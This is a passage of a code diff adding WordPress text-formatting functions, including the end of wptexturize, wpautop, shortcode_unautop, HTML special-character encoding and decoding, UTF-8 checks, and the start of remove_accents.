+		// Sort the remaining patterns into several arrays for performance tuning.
+		$dynamic_characters = array( 'apos' => array(), 'quote' => array(), 'dash' => array() );
+		$dynamic_replacements = array( 'apos' => array(), 'quote' => array(), 'dash' => array() );
+		$dynamic = array();
+		$spaces = wp_spaces_regexp();
+
+		// '99' and '99" are ambiguous among other patterns; assume it's an abbreviated year at the end of a quotation.
+		if ( "'" !== $apos || "'" !== $closing_single_quote ) {
+			$dynamic[ '/\'(\d\d)\'(?=\Z|[.,)}\-\]]|&gt;|' . $spaces . ')/' ] = $apos . '$1' . $closing_single_quote;
+		}
+		if ( "'" !== $apos || '"' !== $closing_quote ) {
+			$dynamic[ '/\'(\d\d)"(?=\Z|[.,)}\-\]]|&gt;|' . $spaces . ')/' ] = $apos . '$1' . $closing_quote;
+		}
+
+		// '99 '99s '99's (apostrophe)  But never '9 or '99% or '999 or '99.0.
+		if ( "'" !== $apos ) {
+			$dynamic[ '/\'(?=\d\d(?:\Z|(?![%\d]|[.,]\d)))/' ] = $apos;
+		}
+
+		// Quoted Numbers like '0.42'
+		if ( "'" !== $opening_single_quote && "'" !== $closing_single_quote ) {
+			$dynamic[ '/(?<=\A|' . $spaces . ')\'(\d[.,\d]*)\'/' ] = $opening_single_quote . '$1' . $closing_single_quote;
+		}
+
+		// Single quote at start, or preceded by (, {, <, [, ", -, or spaces.
+		if ( "'" !== $opening_single_quote ) {
+			$dynamic[ '/(?<=\A|[([{"\-]|&lt;|' . $spaces . ')\'/' ] = $opening_single_quote;
+		}
+
+		// Apostrophe in a word.  No spaces, double apostrophes, or other punctuation.
+		if ( "'" !== $apos ) {
+			$dynamic[ '/(?<!' . $spaces . ')\'(?!\Z|[.,:;"\'(){}[\]\-]|&[lg]t;|' . $spaces . ')/' ] = $apos;
+		}
+
+		// 9' (prime)
+		if ( "'" !== $prime ) {
+			$dynamic[ '/(?<=\d)\'/' ] = $prime;
+		}
+
+		// Single quotes followed by spaces or ending punctuation.
+		if ( "'" !== $closing_single_quote ) {
+			$dynamic[ '/\'(?=\Z|[.,)}\-\]]|&gt;|' . $spaces . ')/' ] = $closing_single_quote;
+		}
+
+		$dynamic_characters['apos'] = array_keys( $dynamic );
+		$dynamic_replacements['apos'] = array_values( $dynamic );
+		$dynamic = array();
+
+		// Quoted Numbers like "42"
+		if ( '"' !== $opening_quote && '"' !== $closing_quote ) {
+			$dynamic[ '/(?<=\A|' . $spaces . ')"(\d[.,\d]*)"/' ] = $opening_quote . '$1' . $closing_quote;
+		}
+
+		// 9" (double prime)
+		if ( '"' !== $double_prime ) {
+			$dynamic[ '/(?<=\d)"/' ] = $double_prime;
+		}
+
+		// Double quote at start, or preceded by (, {, <, [, -, or spaces, and not followed by spaces.
+		if ( '"' !== $opening_quote ) {
+			$dynamic[ '/(?<=\A|[([{\-]|&lt;|' . $spaces . ')"(?!' . $spaces . ')/' ] = $opening_quote;
+		}
+
+		// Any remaining double quotes.
+		if ( '"' !== $closing_quote ) {
+			$dynamic[ '/"/' ] = $closing_quote;
+		}
+
+		$dynamic_characters['quote'] = array_keys( $dynamic );
+		$dynamic_replacements['quote'] = array_values( $dynamic );
+		$dynamic = array();
+
+		// Dashes and spaces
+		$dynamic[ '/---/' ] = $em_dash;
+		$dynamic[ '/(?<=' . $spaces . ')--(?=' . $spaces . ')/' ] = $em_dash;
+		$dynamic[ '/(?<!xn)--/' ] = $en_dash;
+		$dynamic[ '/(?<=' . $spaces . ')-(?=' . $spaces . ')/' ] = $en_dash;
+
+		$dynamic_characters['dash'] = array_keys( $dynamic );
+		$dynamic_replacements['dash'] = array_values( $dynamic );
+	}
+
+	// Must do this every time in case plugins use these filters in a context sensitive manner
+	/**
+	 * Filter the list of HTML elements not to texturize.
+	 *
+	 * @since 2.8.0
+	 *
+	 * @param array $default_no_texturize_tags An array of HTML element names.
+	 */
+	$no_texturize_tags = apply_filters( 'no_texturize_tags', $default_no_texturize_tags );
+	/**
+	 * Filter the list of shortcodes not to texturize.
+	 *
+	 * @since 2.8.0
+	 *
+	 * @param array $default_no_texturize_shortcodes An array of shortcode names.
+	 */
+	$no_texturize_shortcodes = apply_filters( 'no_texturize_shortcodes', $default_no_texturize_shortcodes );
+
+	$no_texturize_tags_stack = array();
+	$no_texturize_shortcodes_stack = array();
+
+	// Look for shortcodes and HTML elements.
+
+	$tagnames = array_keys( $shortcode_tags );
+	$tagregexp = join( '|', array_map( 'preg_quote', $tagnames ) );
+	$tagregexp = "(?:$tagregexp)(?![\\w-])"; // Excerpt of get_shortcode_regex().
+
+	$comment_regex =
+		  '!'           // Start of comment, after the <.
+		. '(?:'         // Unroll the loop: Consume everything until --> is found.
+		.     '-(?!->)' // Dash not followed by end of comment.
+		.     '[^\-]*+' // Consume non-dashes.
+		. ')*+'         // Loop possessively.
+		. '(?:-->)?';   // End of comment. If not found, match all input.
+
+	$shortcode_regex =
+		  '\['              // Find start of shortcode.
+		. '[\/\[]?'         // Shortcodes may begin with [/ or [[
+		. $tagregexp        // Only match registered shortcodes, because performance.
+		. '(?:'
+		.     '[^\[\]<>]+'  // Shortcodes do not contain other shortcodes. Quantifier critical.
+		. '|'
+		.     '<[^\[\]>]*>' // HTML elements permitted. Prevents matching ] before >.
+		. ')*+'             // Possessive critical.
+		. '\]'              // Find end of shortcode.
+		. '\]?';            // Shortcodes may end with ]]
+
+	$regex =
+		  '/('                   // Capture the entire match.
+		.     '<'                // Find start of element.
+		.     '(?(?=!--)'        // Is this a comment?
+		.         $comment_regex // Find end of comment.
+		.     '|'
+		.         '[^>]+>'       // Find end of element.
+		.     ')'
+		. '|'
+		.     $shortcode_regex   // Find shortcodes.
+		. ')/s';
+
+	$textarr = preg_split( $regex, $text, -1, PREG_SPLIT_DELIM_CAPTURE | PREG_SPLIT_NO_EMPTY );
+
+	foreach ( $textarr as &$curl ) {
+		// Only call _wptexturize_pushpop_element if $curl is a delimiter.
+		$first = $curl[0];
+		if ( '<' === $first && '<!--' === substr( $curl, 0, 4 ) ) {
+			// This is an HTML comment delimeter.
+
+			continue;
+
+		} elseif ( '<' === $first && '>' === substr( $curl, -1 ) ) {
+			// This is an HTML element delimiter.
+
+			_wptexturize_pushpop_element( $curl, $no_texturize_tags_stack, $no_texturize_tags );
+
+		} elseif ( '' === trim( $curl ) ) {
+			// This is a newline between delimiters.  Performance improves when we check this.
+
+			continue;
+
+		} elseif ( '[' === $first && 1 === preg_match( '/^' . $shortcode_regex . '$/', $curl ) ) {
+			// This is a shortcode delimiter.
+
+			if ( '[[' !== substr( $curl, 0, 2 ) && ']]' !== substr( $curl, -2 ) ) {
+				// Looks like a normal shortcode.
+				_wptexturize_pushpop_element( $curl, $no_texturize_shortcodes_stack, $no_texturize_shortcodes );
+			} else {
+				// Looks like an escaped shortcode.
+				continue;
+			}
+
+		} elseif ( empty( $no_texturize_shortcodes_stack ) && empty( $no_texturize_tags_stack ) ) {
+			// This is neither a delimiter, nor is this content inside of no_texturize pairs.  Do texturize.
+
+			$curl = str_replace( $static_characters, $static_replacements, $curl );
+
+			if ( false !== strpos( $curl, "'" ) ) {
+				$curl = preg_replace( $dynamic_characters['apos'], $dynamic_replacements['apos'], $curl );
+			}
+			if ( false !== strpos( $curl, '"' ) ) {
+				$curl = preg_replace( $dynamic_characters['quote'], $dynamic_replacements['quote'], $curl );
+			}
+			if ( false !== strpos( $curl, '-' ) ) {
+				$curl = preg_replace( $dynamic_characters['dash'], $dynamic_replacements['dash'], $curl );
+			}
+
+			// 9x9 (times), but never 0x9999
+			if ( 1 === preg_match( '/(?<=\d)x\d/', $curl ) ) {
+				// Searching for a digit is 10 times more expensive than for the x, so we avoid doing this one!
+				$curl = preg_replace( '/\b(\d(?(?<=0)[\d\.,]+|[\d\.,]*))x(\d[\d\.,]*)\b/', '$1&#215;$2', $curl );
+			}
+		}
+	}
+	$text = implode( '', $textarr );
+
+	// Replace each & with &#038; unless it already looks like an entity.
+	$text = preg_replace('/&(?!#(?:\d+|x[a-f0-9]+);|[a-z1-4]{1,8};)/i', '&#038;', $text);
+
+	return $text;
+}
+
+/**
+ * Search for disabled element tags. Push element to stack on tag open and pop
+ * on tag close.
+ *
+ * Assumes first char of $text is tag opening and last char is tag closing.
+ * Assumes second char of $text is optionally '/' to indicate closing as in </html>.
+ *
+ * @since 2.9.0
+ * @access private
+ *
+ * @param string $text Text to check. Must be a tag like `<html>` or `[shortcode]`.
+ * @param array $stack List of open tag elements.
+ * @param array $disabled_elements The tag names to match against. Spaces are not allowed in tag names.
+ */
+function _wptexturize_pushpop_element($text, &$stack, $disabled_elements) {
+	// Is it an opening tag or closing tag?
+	if ( '/' !== $text[1] ) {
+		$opening_tag = true;
+		$name_offset = 1;
+	} elseif ( 0 == count( $stack ) ) {
+		// Stack is empty. Just stop.
+		return;
+	} else {
+		$opening_tag = false;
+		$name_offset = 2;
+	}
+
+	// Parse out the tag name.
+	$space = strpos( $text, ' ' );
+	if ( false === $space ) {
+		$space = -1;
+	} else {
+		$space -= $name_offset;
+	}
+	$tag = substr( $text, $name_offset, $space );
+
+	// Handle disabled tags.
+	if ( in_array( $tag, $disabled_elements ) ) {
+		if ( $opening_tag ) {
+			/*
+			 * This disables texturize until we find a closing tag of our type
+			 * (e.g. <pre>) even if there was invalid nesting before that
+			 *
+			 * Example: in the case <pre>sadsadasd</code>"baba"</pre>
+			 *          "baba" won't be texturize
+			 */
+
+			array_push( $stack, $tag );
+		} elseif ( end( $stack ) == $tag ) {
+			array_pop( $stack );
+		}
+	}
+}
+
+/**
+ * Replaces double line-breaks with paragraph elements.
+ *
+ * A group of regex replaces used to identify text formatted with newlines and
+ * replace double line-breaks with HTML paragraph tags. The remaining
+ * line-breaks after conversion become <<br />> tags, unless $br is set to '0'
+ * or 'false'.
+ *
+ * @since 0.71
+ *
+ * @param string $pee The text which has to be formatted.
+ * @param bool $br Optional. If set, this will convert all remaining line-breaks after paragraphing. Default true.
+ * @return string Text which has been converted into correct paragraph tags.
+ */
+function wpautop($pee, $br = true) {
+	$pre_tags = array();
+
+	if ( trim($pee) === '' )
+		return '';
+
+	$pee = $pee . "\n"; // just to make things a little easier, pad the end
+
+	if ( strpos($pee, '<pre') !== false ) {
+		$pee_parts = explode( '</pre>', $pee );
+		$last_pee = array_pop($pee_parts);
+		$pee = '';
+		$i = 0;
+
+		foreach ( $pee_parts as $pee_part ) {
+			$start = strpos($pee_part, '<pre');
+
+			// Malformed html?
+			if ( $start === false ) {
+				$pee .= $pee_part;
+				continue;
+			}
+
+			$name = "<pre wp-pre-tag-$i></pre>";
+			$pre_tags[$name] = substr( $pee_part, $start ) . '</pre>';
+
+			$pee .= substr( $pee_part, 0, $start ) . $name;
+			$i++;
+		}
+
+		$pee .= $last_pee;
+	}
+
+	$pee = preg_replace('|<br />\s*<br />|', "\n\n", $pee);
+	// Space things out a little
+	$allblocks = '(?:table|thead|tfoot|caption|col|colgroup|tbody|tr|td|th|div|dl|dd|dt|ul|ol|li|pre|form|map|area|blockquote|address|math|style|p|h[1-6]|hr|fieldset|legend|section|article|aside|hgroup|header|footer|nav|figure|details|menu|summary)';
+	$pee = preg_replace('!(<' . $allblocks . '[^>]*>)!', "\n$1", $pee);
+	$pee = preg_replace('!(</' . $allblocks . '>)!', "$1\n\n", $pee);
+	$pee = str_replace(array("\r\n", "\r"), "\n", $pee); // cross-platform newlines
+
+	// Strip newlines from all elements.
+	$pee = wp_replace_in_html_tags( $pee, array( "\n" => " " ) );
+
+	if ( strpos( $pee, '<option' ) !== false ) {
+		// no P/BR around option
+		$pee = preg_replace( '|\s*<option|', '<option', $pee );
+		$pee = preg_replace( '|</option>\s*|', '</option>', $pee );
+	}
+
+	if ( strpos( $pee, '</object>' ) !== false ) {
+		// no P/BR around param and embed
+		$pee = preg_replace( '|(<object[^>]*>)\s*|', '$1', $pee );
+		$pee = preg_replace( '|\s*</object>|', '</object>', $pee );
+		$pee = preg_replace( '%\s*(</?(?:param|embed)[^>]*>)\s*%', '$1', $pee );
+	}
+
+	if ( strpos( $pee, '<source' ) !== false || strpos( $pee, '<track' ) !== false ) {
+		// no P/BR around source and track
+		$pee = preg_replace( '%([<\[](?:audio|video)[^>\]]*[>\]])\s*%', '$1', $pee );
+		$pee = preg_replace( '%\s*([<\[]/(?:audio|video)[>\]])%', '$1', $pee );
+		$pee = preg_replace( '%\s*(<(?:source|track)[^>]*>)\s*%', '$1', $pee );
+	}
+
+	$pee = preg_replace("/\n\n+/", "\n\n", $pee); // take care of duplicates
+	// make paragraphs, including one at the end
+	$pees = preg_split('/\n\s*\n/', $pee, -1, PREG_SPLIT_NO_EMPTY);
+	$pee = '';
+
+	foreach ( $pees as $tinkle ) {
+		$pee .= '<p>' . trim($tinkle, "\n") . "</p>\n";
+	}
+
+	$pee = preg_replace('|<p>\s*</p>|', '', $pee); // under certain strange conditions it could create a P of entirely whitespace
+	$pee = preg_replace('!<p>([^<]+)</(div|address|form)>!', "<p>$1</p></$2>", $pee);
+	$pee = preg_replace('!<p>\s*(</?' . $allblocks . '[^>]*>)\s*</p>!', "$1", $pee); // don't pee all over a tag
+	$pee = preg_replace("|<p>(<li.+?)</p>|", "$1", $pee); // problem with nested lists
+	$pee = preg_replace('|<p><blockquote([^>]*)>|i', "<blockquote$1><p>", $pee);
+	$pee = str_replace('</blockquote></p>', '</p></blockquote>', $pee);
+	$pee = preg_replace('!<p>\s*(</?' . $allblocks . '[^>]*>)!', "$1", $pee);
+	$pee = preg_replace('!(</?' . $allblocks . '[^>]*>)\s*</p>!', "$1", $pee);
+
+	if ( $br ) {
+		$pee = preg_replace_callback('/<(script|style).*?<\/\\1>/s', '_autop_newline_preservation_helper', $pee);
+		$pee = preg_replace('|(?<!<br />)\s*\n|', "<br />\n", $pee); // optionally make line breaks
+		$pee = str_replace('<WPPreserveNewline />', "\n", $pee);
+	}
+
+	$pee = preg_replace('!(</?' . $allblocks . '[^>]*>)\s*<br />!', "$1", $pee);
+	$pee = preg_replace('!<br />(\s*</?(?:p|li|div|dl|dd|dt|th|pre|td|ul|ol)[^>]*>)!', '$1', $pee);
+	$pee = preg_replace( "|\n</p>$|", '</p>', $pee );
+
+	if ( !empty($pre_tags) )
+		$pee = str_replace(array_keys($pre_tags), array_values($pre_tags), $pee);
+
+	return $pee;
+}
+
+/**
+ * Replace characters or phrases within HTML elements only.
+ *
+ * @since 4.2.3
+ *
+ * @param string $haystack The text which has to be formatted.
+ * @param array $replace_pairs In the form array('from' => 'to', ...).
+ * @return string The formatted text.
+ */
+function wp_replace_in_html_tags( $haystack, $replace_pairs ) {
+	// Find all elements.
+	$comments =
+		  '!'           // Start of comment, after the <.
+		. '(?:'         // Unroll the loop: Consume everything until --> is found.
+		.     '-(?!->)' // Dash not followed by end of comment.
+		.     '[^\-]*+' // Consume non-dashes.
+		. ')*+'         // Loop possessively.
+		. '(?:-->)?';   // End of comment. If not found, match all input.
+
+	$regex =
+		  '/('              // Capture the entire match.
+		.     '<'           // Find start of element.
+		.     '(?(?=!--)'   // Is this a comment?
+		.         $comments // Find end of comment.
+		.     '|'
+		.         '[^>]*>?' // Find end of element. If not found, match all input.
+		.     ')'
+		. ')/s';
+
+	$textarr = preg_split( $regex, $haystack, -1, PREG_SPLIT_DELIM_CAPTURE );
+	$changed = false;
+
+	// Optimize when searching for one item.
+	if ( 1 === count( $replace_pairs ) ) {
+		// Extract $needle and $replace.
+		foreach ( $replace_pairs as $needle => $replace );
+
+		// Loop through delimeters (elements) only.
+		for ( $i = 1, $c = count( $textarr ); $i < $c; $i += 2 ) { 
+			if ( false !== strpos( $textarr[$i], $needle ) ) {
+				$textarr[$i] = str_replace( $needle, $replace, $textarr[$i] );
+				$changed = true;
+			}
+		}
+	} else {
+		// Extract all $needles.
+		$needles = array_keys( $replace_pairs );
+
+		// Loop through delimeters (elements) only.
+		for ( $i = 1, $c = count( $textarr ); $i < $c; $i += 2 ) { 
+			foreach ( $needles as $needle ) {
+				if ( false !== strpos( $textarr[$i], $needle ) ) {
+					$textarr[$i] = strtr( $textarr[$i], $replace_pairs );
+					$changed = true;
+					// After one strtr() break out of the foreach loop and look at next element.
+					break;
+				}
+			}
+		}
+	}
+
+	if ( $changed ) {
+		$haystack = implode( $textarr );
+	}
+
+	return $haystack;
+}
+
+/**
+ * Newline preservation help function for wpautop
+ *
+ * @since 3.1.0
+ * @access private
+ *
+ * @param array $matches preg_replace_callback matches array
+ * @return string
+ */
+function _autop_newline_preservation_helper( $matches ) {
+	return str_replace("\n", "<WPPreserveNewline />", $matches[0]);
+}
+
+/**
+ * Don't auto-p wrap shortcodes that stand alone
+ *
+ * Ensures that shortcodes are not wrapped in `<p>...</p>`.
+ *
+ * @since 2.9.0
+ *
+ * @param string $pee The content.
+ * @return string The filtered content.
+ */
+function shortcode_unautop( $pee ) {
+	global $shortcode_tags;
+
+	if ( empty( $shortcode_tags ) || !is_array( $shortcode_tags ) ) {
+		return $pee;
+	}
+
+	$tagregexp = join( '|', array_map( 'preg_quote', array_keys( $shortcode_tags ) ) );
+	$spaces = wp_spaces_regexp();
+
+	$pattern =
+		  '/'
+		. '<p>'                              // Opening paragraph
+		. '(?:' . $spaces . ')*+'            // Optional leading whitespace
+		. '('                                // 1: The shortcode
+		.     '\\['                          // Opening bracket
+		.     "($tagregexp)"                 // 2: Shortcode name
+		.     '(?![\\w-])'                   // Not followed by word character or hyphen
+		                                     // Unroll the loop: Inside the opening shortcode tag
+		.     '[^\\]\\/]*'                   // Not a closing bracket or forward slash
+		.     '(?:'
+		.         '\\/(?!\\])'               // A forward slash not followed by a closing bracket
+		.         '[^\\]\\/]*'               // Not a closing bracket or forward slash
+		.     ')*?'
+		.     '(?:'
+		.         '\\/\\]'                   // Self closing tag and closing bracket
+		.     '|'
+		.         '\\]'                      // Closing bracket
+		.         '(?:'                      // Unroll the loop: Optionally, anything between the opening and closing shortcode tags
+		.             '[^\\[]*+'             // Not an opening bracket
+		.             '(?:'
+		.                 '\\[(?!\\/\\2\\])' // An opening bracket not followed by the closing shortcode tag
+		.                 '[^\\[]*+'         // Not an opening bracket
+		.             ')*+'
+		.             '\\[\\/\\2\\]'         // Closing shortcode tag
+		.         ')?'
+		.     ')'
+		. ')'
+		. '(?:' . $spaces . ')*+'            // optional trailing whitespace
+		. '<\\/p>'                           // closing paragraph
+		. '/s';
+
+	return preg_replace( $pattern, '$1', $pee );
+}
+
+/**
+ * Checks to see if a string is utf8 encoded.
+ *
+ * NOTE: This function checks for 5-Byte sequences, UTF8
+ *       has Bytes Sequences with a maximum length of 4.
+ *
+ * @author bmorel at ssi dot fr (modified)
+ * @since 1.2.1
+ *
+ * @param string $str The string to be checked
+ * @return bool True if $str fits a UTF-8 model, false otherwise.
+ */
+function seems_utf8($str) {
+	mbstring_binary_safe_encoding();
+	$length = strlen($str);
+	reset_mbstring_encoding();
+	for ($i=0; $i < $length; $i++) {
+		$c = ord($str[$i]);
+		if ($c < 0x80) $n = 0; # 0bbbbbbb
+		elseif (($c & 0xE0) == 0xC0) $n=1; # 110bbbbb
+		elseif (($c & 0xF0) == 0xE0) $n=2; # 1110bbbb
+		elseif (($c & 0xF8) == 0xF0) $n=3; # 11110bbb
+		elseif (($c & 0xFC) == 0xF8) $n=4; # 111110bb
+		elseif (($c & 0xFE) == 0xFC) $n=5; # 1111110b
+		else return false; # Does not match any model
+		for ($j=0; $j<$n; $j++) { # n bytes matching 10bbbbbb follow ?
+			if ((++$i == $length) || ((ord($str[$i]) & 0xC0) != 0x80))
+				return false;
+		}
+	}
+	return true;
+}
+
+/**
+ * Converts a number of special characters into their HTML entities.
+ *
+ * Specifically deals with: &, <, >, ", and '.
+ *
+ * $quote_style can be set to ENT_COMPAT to encode " to
+ * &quot;, or ENT_QUOTES to do both. Default is ENT_NOQUOTES where no quotes are encoded.
+ *
+ * @since 1.2.2
+ * @access private
+ *
+ * @param string $string The text which is to be encoded.
+ * @param int $quote_style Optional. Converts double quotes if set to ENT_COMPAT, both single and double if set to ENT_QUOTES or none if set to ENT_NOQUOTES. Also compatible with old values; converting single quotes if set to 'single', double if set to 'double' or both if otherwise set. Default is ENT_NOQUOTES.
+ * @param string $charset Optional. The character encoding of the string. Default is false.
+ * @param boolean $double_encode Optional. Whether to encode existing html entities. Default is false.
+ * @return string The encoded text with HTML entities.
+ */
+function _wp_specialchars( $string, $quote_style = ENT_NOQUOTES, $charset = false, $double_encode = false ) {
+	$string = (string) $string;
+
+	if ( 0 === strlen( $string ) )
+		return '';
+
+	// Don't bother if there are no specialchars - saves some processing
+	if ( ! preg_match( '/[&<>"\']/', $string ) )
+		return $string;
+
+	// Account for the previous behaviour of the function when the $quote_style is not an accepted value
+	if ( empty( $quote_style ) )
+		$quote_style = ENT_NOQUOTES;
+	elseif ( ! in_array( $quote_style, array( 0, 2, 3, 'single', 'double' ), true ) )
+		$quote_style = ENT_QUOTES;
+
+	// Store the site charset as a static to avoid multiple calls to wp_load_alloptions()
+	if ( ! $charset ) {
+		static $_charset;
+		if ( ! isset( $_charset ) ) {
+			$alloptions = wp_load_alloptions();
+			$_charset = isset( $alloptions['blog_charset'] ) ? $alloptions['blog_charset'] : '';
+		}
+		$charset = $_charset;
+	}
+
+	if ( in_array( $charset, array( 'utf8', 'utf-8', 'UTF8' ) ) )
+		$charset = 'UTF-8';
+
+	$_quote_style = $quote_style;
+
+	if ( $quote_style === 'double' ) {
+		$quote_style = ENT_COMPAT;
+		$_quote_style = ENT_COMPAT;
+	} elseif ( $quote_style === 'single' ) {
+		$quote_style = ENT_NOQUOTES;
+	}
+
+	// Handle double encoding ourselves
+	if ( $double_encode ) {
+		$string = @htmlspecialchars( $string, $quote_style, $charset );
+	} else {
+		// Decode &amp; into &
+		$string = wp_specialchars_decode( $string, $_quote_style );
+
+		// Guarantee every &entity; is valid or re-encode the &
+		$string = wp_kses_normalize_entities( $string );
+
+		// Now re-encode everything except &entity;
+		$string = preg_split( '/(&#?x?[0-9a-z]+;)/i', $string, -1, PREG_SPLIT_DELIM_CAPTURE );
+
+		for ( $i = 0; $i < count( $string ); $i += 2 )
+			$string[$i] = @htmlspecialchars( $string[$i], $quote_style, $charset );
+
+		$string = implode( '', $string );
+	}
+
+	// Backwards compatibility
+	if ( 'single' === $_quote_style )
+		$string = str_replace( "'", '&#039;', $string );
+
+	return $string;
+}
+
+/**
+ * Converts a number of HTML entities into their special characters.
+ *
+ * Specifically deals with: &, <, >, ", and '.
+ *
+ * $quote_style can be set to ENT_COMPAT to decode " entities,
+ * or ENT_QUOTES to do both " and '. Default is ENT_NOQUOTES where no quotes are decoded.
+ *
+ * @since 2.8.0
+ *
+ * @param string $string The text which is to be decoded.
+ * @param mixed $quote_style Optional. Converts double quotes if set to ENT_COMPAT, both single and double if set to ENT_QUOTES or none if set to ENT_NOQUOTES. Also compatible with old _wp_specialchars() values; converting single quotes if set to 'single', double if set to 'double' or both if otherwise set. Default is ENT_NOQUOTES.
+ * @return string The decoded text without HTML entities.
+ */
+function wp_specialchars_decode( $string, $quote_style = ENT_NOQUOTES ) {
+	$string = (string) $string;
+
+	if ( 0 === strlen( $string ) ) {
+		return '';
+	}
+
+	// Don't bother if there are no entities - saves a lot of processing
+	if ( strpos( $string, '&' ) === false ) {
+		return $string;
+	}
+
+	// Match the previous behaviour of _wp_specialchars() when the $quote_style is not an accepted value
+	if ( empty( $quote_style ) ) {
+		$quote_style = ENT_NOQUOTES;
+	} elseif ( !in_array( $quote_style, array( 0, 2, 3, 'single', 'double' ), true ) ) {
+		$quote_style = ENT_QUOTES;
+	}
+
+	// More complete than get_html_translation_table( HTML_SPECIALCHARS )
+	$single = array( '&#039;'  => '\'', '&#x27;' => '\'' );
+	$single_preg = array( '/&#0*39;/'  => '&#039;', '/&#x0*27;/i' => '&#x27;' );
+	$double = array( '&quot;' => '"', '&#034;'  => '"', '&#x22;' => '"' );
+	$double_preg = array( '/&#0*34;/'  => '&#034;', '/&#x0*22;/i' => '&#x22;' );
+	$others = array( '&lt;'   => '<', '&#060;'  => '<', '&gt;'   => '>', '&#062;'  => '>', '&amp;'  => '&', '&#038;'  => '&', '&#x26;' => '&' );
+	$others_preg = array( '/&#0*60;/'  => '&#060;', '/&#0*62;/'  => '&#062;', '/&#0*38;/'  => '&#038;', '/&#x0*26;/i' => '&#x26;' );
+
+	if ( $quote_style === ENT_QUOTES ) {
+		$translation = array_merge( $single, $double, $others );
+		$translation_preg = array_merge( $single_preg, $double_preg, $others_preg );
+	} elseif ( $quote_style === ENT_COMPAT || $quote_style === 'double' ) {
+		$translation = array_merge( $double, $others );
+		$translation_preg = array_merge( $double_preg, $others_preg );
+	} elseif ( $quote_style === 'single' ) {
+		$translation = array_merge( $single, $others );
+		$translation_preg = array_merge( $single_preg, $others_preg );
+	} elseif ( $quote_style === ENT_NOQUOTES ) {
+		$translation = $others;
+		$translation_preg = $others_preg;
+	}
+
+	// Remove zero padding on numeric entities
+	$string = preg_replace( array_keys( $translation_preg ), array_values( $translation_preg ), $string );
+
+	// Replace characters according to translation table
+	return strtr( $string, $translation );
+}
+
+/**
+ * Checks for invalid UTF8 in a string.
+ *
+ * @since 2.8.0
+ *
+ * @param string $string The text which is to be checked.
+ * @param boolean $strip Optional. Whether to attempt to strip out invalid UTF8. Default is false.
+ * @return string The checked text.
+ */
+function wp_check_invalid_utf8( $string, $strip = false ) {
+	$string = (string) $string;
+
+	if ( 0 === strlen( $string ) ) {
+		return '';
+	}
+
+	// Store the site charset as a static to avoid multiple calls to get_option()
+	static $is_utf8;
+	if ( !isset( $is_utf8 ) ) {
+		$is_utf8 = in_array( get_option( 'blog_charset' ), array( 'utf8', 'utf-8', 'UTF8', 'UTF-8' ) );
+	}
+	if ( !$is_utf8 ) {
+		return $string;
+	}
+
+	// Check for support for utf8 in the installed PCRE library once and store the result in a static
+	static $utf8_pcre;
+	if ( !isset( $utf8_pcre ) ) {
+		$utf8_pcre = @preg_match( '/^./u', 'a' );
+	}
+	// We can't demand utf8 in the PCRE installation, so just return the string in those cases
+	if ( !$utf8_pcre ) {
+		return $string;
+	}
+
+	// preg_match fails when it encounters invalid UTF8 in $string
+	if ( 1 === @preg_match( '/^./us', $string ) ) {
+		return $string;
+	}
+
+	// Attempt to strip the bad chars if requested (not recommended)
+	if ( $strip && function_exists( 'iconv' ) ) {
+		return iconv( 'utf-8', 'utf-8', $string );
+	}
+
+	return '';
+}
+
+/**
+ * Encode the Unicode values to be used in the URI.
+ *
+ * @since 1.5.0
+ *
+ * @param string $utf8_string
+ * @param int $length Max length of the string
+ * @return string String with Unicode encoded for URI.
+ */
+function utf8_uri_encode( $utf8_string, $length = 0 ) {
+	$unicode = '';
+	$values = array();
+	$num_octets = 1;
+	$unicode_length = 0;
+
+	mbstring_binary_safe_encoding();
+	$string_length = strlen( $utf8_string );
+	reset_mbstring_encoding();
+
+	for ($i = 0; $i < $string_length; $i++ ) {
+
+		$value = ord( $utf8_string[ $i ] );
+
+		if ( $value < 128 ) {
+			if ( $length && ( $unicode_length >= $length ) )
+				break;
+			$unicode .= chr($value);
+			$unicode_length++;
+		} else {
+			if ( count( $values ) == 0 ) $num_octets = ( $value < 224 ) ? 2 : 3;
+
+			$values[] = $value;
+
+			if ( $length && ( $unicode_length + ($num_octets * 3) ) > $length )
+				break;
+			if ( count( $values ) == $num_octets ) {
+				if ($num_octets == 3) {
+					$unicode .= '%' . dechex($values[0]) . '%' . dechex($values[1]) . '%' . dechex($values[2]);
+					$unicode_length += 9;
+				} else {
+					$unicode .= '%' . dechex($values[0]) . '%' . dechex($values[1]);
+					$unicode_length += 6;
+				}
+
+				$values = array();
+				$num_octets = 1;
+			}
+		}
+	}
+
+	return $unicode;
+}
+
+/**
+ * Converts all accent characters to ASCII characters.
+ *
+ * If there are no accent characters, then the string given is just returned.
+ *
+ * @since 1.2.1
+ *
+ * @param string $string Text that might have accent characters
+ * @return string Filtered string with replaced "nice" characters.
+ */
+function remove_accents($string) {
+	if ( !preg_match('/[\x80-\xff]/', $string) )
+		return $string;
+
+	if (seems_utf8($string)) {
+		$chars = array(
+		// Decompositions for Latin-1 Supplement
+		chr(194).chr(170) => 'a', chr(194).chr(186) => 'o',
+		chr(195).chr(128) => 'A', chr(195).chr(129) => 'A',
+		chr(195).chr(130) => 'A', chr(195).chr(131) => 'A',
+		chr(195).chr(132) => 'A', chr(195).chr(133) => 'A',
+		chr(195).chr(134) => 'AE',chr(195).chr(135) => 'C',
+		chr(195).chr(136) => 'E', chr(195).chr(137) => 'E',
+		chr(195).chr(138) => 'E', chr(195).chr(139) => 'E',
+		chr(195).chr(140) => 'I', chr(195).chr(141) => 'I',
+		chr(195).chr(142) => 'I', chr(195).chr(143) => 'I',
+		chr(195).chr(144) => 'D', chr(195).chr(145) => 'N',
+		chr(195).chr(146) => 'O', chr(195).chr(147) => 'O',
+		chr(195).chr(148) => 'O', chr(195).chr(149) => 'O',
+		chr(195).chr(150) => 'O', chr(195).chr(153) => 'U',
+		chr(195).chr(154) => 'U', chr(195).chr(155) => 'U',
+		chr(195).chr(156) => 'U', chr(195).chr(157) => 'Y',
+		chr(195).chr(158) => 'TH',chr(195).chr(159) => 's',
+		chr(195).chr(160) => 'a', chr(195).chr(161) => 'a',
+		chr(195).chr(162) => 'a', chr(195).chr(163) => 'a',
+		chr(195).chr(164) => 'a', chr(195).chr(165) => 'a',
+		chr(195).chr(166) => 'ae',chr(195).chr(167) => 'c',
+		chr(195).chr(168) => 'e', chr(195).chr(169) => 'e',
+		chr(195).chr(170) => 'e', chr(195).chr(171) => 'e',
+		chr(195).chr(172) => 'i', chr(195).chr(173) => 'i',
+		chr(195).chr(174) => 'i', chr(195).chr(175) => 'i',
